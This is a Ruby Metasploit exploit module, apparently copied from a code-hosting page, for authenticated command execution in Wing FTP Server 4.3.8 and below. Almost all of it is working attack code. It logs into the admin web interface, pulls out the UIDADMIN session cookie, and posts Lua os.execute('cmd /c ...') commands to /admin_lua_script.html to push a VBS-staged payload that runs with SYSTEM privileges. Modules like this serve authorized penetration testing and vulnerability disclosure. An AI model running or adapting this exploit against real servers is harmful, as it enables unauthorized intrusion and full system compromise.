123 lines
3.6 KiB
Ruby
123 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wing FTP Server Authenticated Command Execution',
|
|
'Description' => %q{
|
|
This module exploits the embedded Lua interpreter in the admin web interface for
|
|
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
|
|
an attacker can use os.execute() to execute arbitrary system commands on
|
|
the target with SYSTEM privileges.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Nicholas Nam <nick[at]executionflow.org>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.wftpserver.com' ]
|
|
],
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows VBS Stager', {} ]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Jun 19 2014',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5466),
|
|
OptString.new('USERNAME', [true, 'Admin username', '']),
|
|
OptString.new('PASSWORD', [true, 'Admin password', ''])
|
|
], self.class
|
|
)
|
|
deregister_options('CMDSTAGER::FLAVOR')
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/admin_login.html',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if !res
|
|
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
|
elsif res.code != 200
|
|
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
|
|
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
username = datastore['USERNAME']
|
|
password = datastore['PASSWORD']
|
|
@session_cookie = authenticate(username, password)
|
|
|
|
print_status("Sending payload")
|
|
# Execute the cmdstager, max length of the commands is ~1500
|
|
execute_cmdstager(flavor: :vbs, linemax: 1500)
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
command = "os.execute('cmd /c #{cmd}')"
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/admin_lua_script.html',
|
|
'method' => 'POST',
|
|
'cookie' => @session_cookie,
|
|
'vars_post' => { 'command' => command }
|
|
)
|
|
|
|
if res && res.code != 200
|
|
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
|
|
end
|
|
end
|
|
|
|
def authenticate(username, password)
|
|
print_status("Authenticating")
|
|
res = send_request_cgi(
|
|
'uri' => '/admin_loginok.html',
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'username' => username,
|
|
'password' => password,
|
|
'username_val' => username,
|
|
'password_val' => password,
|
|
'submit_btn' => '+Login+'
|
|
}
|
|
)
|
|
|
|
uidadmin = ''
|
|
if !res
|
|
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
|
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
|
|
res.get_cookies.split(';').each do |cookie|
|
|
cookie.split(',').each do |value|
|
|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
|
|
end
|
|
end
|
|
else
|
|
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
|
end
|
|
|
|
"UIDADMIN=#{uidadmin}"
|
|
end
|
|
end
|